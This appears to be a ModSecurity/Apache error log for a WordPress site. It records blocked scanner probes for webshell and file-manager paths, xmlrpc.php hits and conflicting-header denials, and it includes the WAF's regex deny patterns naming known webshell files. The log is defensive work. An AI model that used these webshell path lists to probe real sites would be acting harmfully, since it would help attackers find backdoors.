[Mon Mar 02 11:03:57.012213 2026] [:error] [pid 23872:tid 23896] [client 172.190.142.176:46117] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaT-HUzkQFuA2qBk8UPXYQAAAZU"]
[Mon Mar 02 11:03:57.453439 2026] [:error] [pid 23872:tid 23875] [client 172.190.142.176:50239] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaT-HUzkQFuA2qBk8UPXZQAAAYA"]
[Mon Mar 02 11:03:57.954488 2026] [:error] [pid 23872:tid 23878] [client 172.190.142.176:52181] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaT-HUzkQFuA2qBk8UPXaQAAAYM"]
[Mon Mar 02 11:03:58.476041 2026] [:error] [pid 23872:tid 23890] [client 172.190.142.176:32847] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaT-HkzkQFuA2qBk8UPXbAAAAY8"]
[Mon Mar 02 11:03:58.926322 2026] [:error] [pid 23872:tid 23895] [client 172.190.142.176:45853] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaT-HkzkQFuA2qBk8UPXcQAAAZQ"]
[Mon Mar 02 11:03:59.351365 2026] [:error] [pid 23872:tid 23898] [client 172.190.142.176:61880] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaT-H0zkQFuA2qBk8UPXdgAAAZc"]
[Mon Mar 02 11:03:59.791957 2026] [:error] [pid 21575:tid 21590] [client 172.190.142.176:28913] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaT-HyrocdArcJqFfInEuwAAAUs"]
[Mon Mar 02 11:04:00.242615 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:20835] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaT-IEzkQFuA2qBk8UPXewAAAZM"]
[Mon Mar 02 11:04:00.687092 2026] [:error] [pid 23872:tid 23884] [client 172.190.142.176:1767] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaT-IEzkQFuA2qBk8UPXfwAAAYk"]
[Mon Mar 02 11:04:01.291504 2026] [:error] [pid 31257:tid 31286] [client 172.190.142.176:52170] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaT-If-JFLfishX45N9HSwAAARc"]
[Mon Mar 02 11:04:01.741369 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:32865] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaT-IUzkQFuA2qBk8UPXhQAAAY4"]
[Mon Mar 02 11:04:02.205042 2026] [:error] [pid 23872:tid 23884] [client 172.190.142.176:1431] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaT-IkzkQFuA2qBk8UPXiwAAAYk"]
[Mon Mar 02 11:04:02.714233 2026] [:error] [pid 28795:tid 28870] [client 172.190.142.176:64380] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaT-IrROd53wZBkdI_eyOwAAAIc"]
[Mon Mar 02 11:04:03.163777 2026] [:error] [pid 23872:tid 23877] [client 172.190.142.176:64379] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaT-I0zkQFuA2qBk8UPXkgAAAYI"]
[Mon Mar 02 11:04:03.669207 2026] [:error] [pid 28795:tid 28877] [client 172.190.142.176:3306] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaT-I7ROd53wZBkdI_eyPAAAAI4"]
[Mon Mar 02 11:04:04.223845 2026] [:error] [pid 21575:tid 21594] [client 172.190.142.176:1428] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaT-JCrocdArcJqFfInExwAAAU8"]
[Mon Mar 02 11:04:04.900564 2026] [:error] [pid 31257:tid 31272] [client 172.190.142.176:15033] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaT-JP-JFLfishX45N9HTgAAAQk"]
[Mon Mar 02 11:26:11.092018 2026] [:error] [pid 23872:tid 23883] [client 123.252.137.30:55258] [client 123.252.137.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.252.137.30, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaUDU0zkQFuA2qBk8UPrlAAAAYg"]
[Mon Mar 02 11:26:17.283262 2026] [:error] [pid 14466:tid 14473] [client 138.84.74.40:31386] [client 138.84.74.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.84.74.40, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaUDWf8w-ahEIiUSqM5FzwAAAcU"]
[Mon Mar 02 12:05:32.654762 2026] [:error] [pid 21575:tid 21581] [client 95.217.109.26:22880] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaUMjCrocdArcJqFfIkQNQAAAUI"]
[Mon Mar 02 12:05:35.183930 2026] [:error] [pid 28908:tid 28919] [client 95.217.109.26:22896] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaUMj4qJmC8ih_lQQnBTuQAAAMk"]
[Mon Mar 02 12:05:37.702136 2026] [:error] [pid 23872:tid 23891] [client 95.217.109.26:8216] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaUMkUzkQFuA2qBk8UMIiAAAAZA"]
[Mon Mar 02 12:30:45.608054 2026] [autoindex:error] [pid 21575:tid 21581] [client 62.171.191.117:56116] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 02 13:29:02.963040 2026] [:error] [pid 59734:tid 59756] [client 43.158.91.71:53176] [client 43.158.91.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaUgHpeWQx7ZQG9NybGbpgAAAVQ"]
[Mon Mar 02 14:17:53.468525 2026] [:error] [pid 59602:tid 59683] [client 152.59.149.208:53060] [client 152.59.149.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.149.208, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaUrkTMtSo_Fr0lHnSbJwQAAAJI"]
[Mon Mar 02 14:26:44.070310 2026] [:error] [pid 59600:tid 59624] [client 43.134.141.244:45896] [client 43.134.141.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaUtpIQ5lE4yocV9IBd93wAAAA8"]
[Mon Mar 02 16:12:21.321708 2026] [:error] [pid 28847:tid 28854] [client 182.42.110.255:38251] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaVGZZ9xbBq8VfeqVDZcQQAAAMU"]
[Mon Mar 02 18:32:16.204930 2026] [:error] [pid 59600:tid 59614] [client 43.131.39.179:60562] [client 43.131.39.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaVnMIQ5lE4yocV9IBcFJgAAAAU"]
[Mon Mar 02 18:51:01.605165 2026] [:error] [pid 59600:tid 59615] [client 20.63.100.156:28868] [client 20.63.100.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaVrlYQ5lE4yocV9IBcPSAAAAAY"]
[Mon Mar 02 18:51:02.239082 2026] [:error] [pid 59600:tid 59631] [client 20.63.100.156:29635] [client 20.63.100.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaVrloQ5lE4yocV9IBcPTQAAABY"]
[Mon Mar 02 18:51:02.742800 2026] [:error] [pid 59600:tid 59617] [client 20.63.100.156:29694] [client 20.63.100.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaVrloQ5lE4yocV9IBcPTwAAAAg"]
[Mon Mar 02 18:51:03.170381 2026] [:error] [pid 59600:tid 59611] [client 20.63.100.156:28867] [client 20.63.100.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaVrl4Q5lE4yocV9IBcPUgAAAAI"]
[Mon Mar 02 19:17:28.567178 2026] [:error] [pid 59734:tid 59758] [client 45.8.17.78:55435] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaVxyJeWQx7ZQG9NybEHCQAAAVY"]
[Mon Mar 02 19:17:30.541464 2026] [:error] [pid 59602:tid 59670] [client 45.8.17.109:35589] [client 45.8.17.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaVxyjMtSo_Fr0lHnSY76gAAAIU"]
[Mon Mar 02 19:17:33.250321 2026] [:error] [pid 59600:tid 59621] [client 45.8.17.82:63273] [client 45.8.17.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaVxzYQ5lE4yocV9IBcejwAAAAw"]
[Mon Mar 02 19:17:34.938541 2026] [:error] [pid 59600:tid 59620] [client 45.8.17.79:42289] [client 45.8.17.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaVxzoQ5lE4yocV9IBcelQAAAAs"]
[Mon Mar 02 19:17:37.692528 2026] [:error] [pid 59602:tid 59688] [client 45.128.199.146:50675] [client 45.128.199.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaVx0TMtSo_Fr0lHnSY7-AAAAJc"]
[Mon Mar 02 19:17:38.761032 2026] [:error] [pid 59734:tid 59751] [client 45.8.17.77:44441] [client 45.8.17.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaVx0peWQx7ZQG9NybEHGQAAAU8"]
[Mon Mar 02 19:17:39.399091 2026] [:error] [pid 59600:tid 59628] [client 45.8.17.70:32557] [client 45.8.17.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaVx04Q5lE4yocV9IBcenwAAABM"]
[Mon Mar 02 19:17:40.065228 2026] [:error] [pid 59602:tid 59687] [client 45.8.17.149:39187] [client 45.8.17.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaVx1DMtSo_Fr0lHnSY7_AAAAJY"]
[Mon Mar 02 19:17:40.773147 2026] [:error] [pid 28847:tid 28871] [client 45.8.17.84:32635] [client 45.8.17.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaVx1J9xbBq8VfeqVDbtEgAAANY"]
[Mon Mar 02 19:17:41.405733 2026] [:error] [pid 59601:tid 59655] [client 45.8.17.75:51163] [client 45.8.17.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaVx1cQ1lXfvWN0-ZQl8XAAAAFE"]
[Mon Mar 02 19:17:42.435329 2026] [:error] [pid 28847:tid 28859] [client 45.8.17.149:54075] [client 45.8.17.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaVx1p9xbBq8VfeqVDbtFgAAAMo"]
[Mon Mar 02 19:17:43.821542 2026] [:error] [pid 28847:tid 28871] [client 45.8.17.70:54013] [client 45.8.17.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aaVx159xbBq8VfeqVDbtHwAAANY"]
[Mon Mar 02 19:17:45.622985 2026] [:error] [pid 59600:tid 59626] [client 45.8.17.74:22025] [client 45.8.17.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaVx2YQ5lE4yocV9IBcetAAAABE"]
[Mon Mar 02 19:17:46.863723 2026] [:error] [pid 28847:tid 28850] [client 45.8.17.70:30573] [client 45.8.17.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaVx2p9xbBq8VfeqVDbtKgAAAME"]
[Mon Mar 02 19:17:47.990453 2026] [:error] [pid 59600:tid 59613] [client 45.8.17.78:60525] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaVx24Q5lE4yocV9IBcevwAAAAQ"]
[Mon Mar 02 19:17:50.553216 2026] [:error] [pid 28847:tid 28860] [client 45.8.17.97:48435] [client 45.8.17.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaVx3p9xbBq8VfeqVDbtRwAAAMs"]
[Mon Mar 02 19:17:51.459442 2026] [:error] [pid 28847:tid 28853] [client 45.8.17.83:34671] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaVx359xbBq8VfeqVDbtTAAAAMQ"]
[Mon Mar 02 19:17:52.705329 2026] [:error] [pid 59602:tid 59678] [client 45.8.17.55:29781] [client 45.8.17.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaVx4DMtSo_Fr0lHnSY8DgAAAI0"]
[Mon Mar 02 19:17:54.067287 2026] [:error] [pid 28847:tid 28859] [client 45.8.17.68:21671] [client 45.8.17.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaVx4p9xbBq8VfeqVDbtWAAAAMo"]
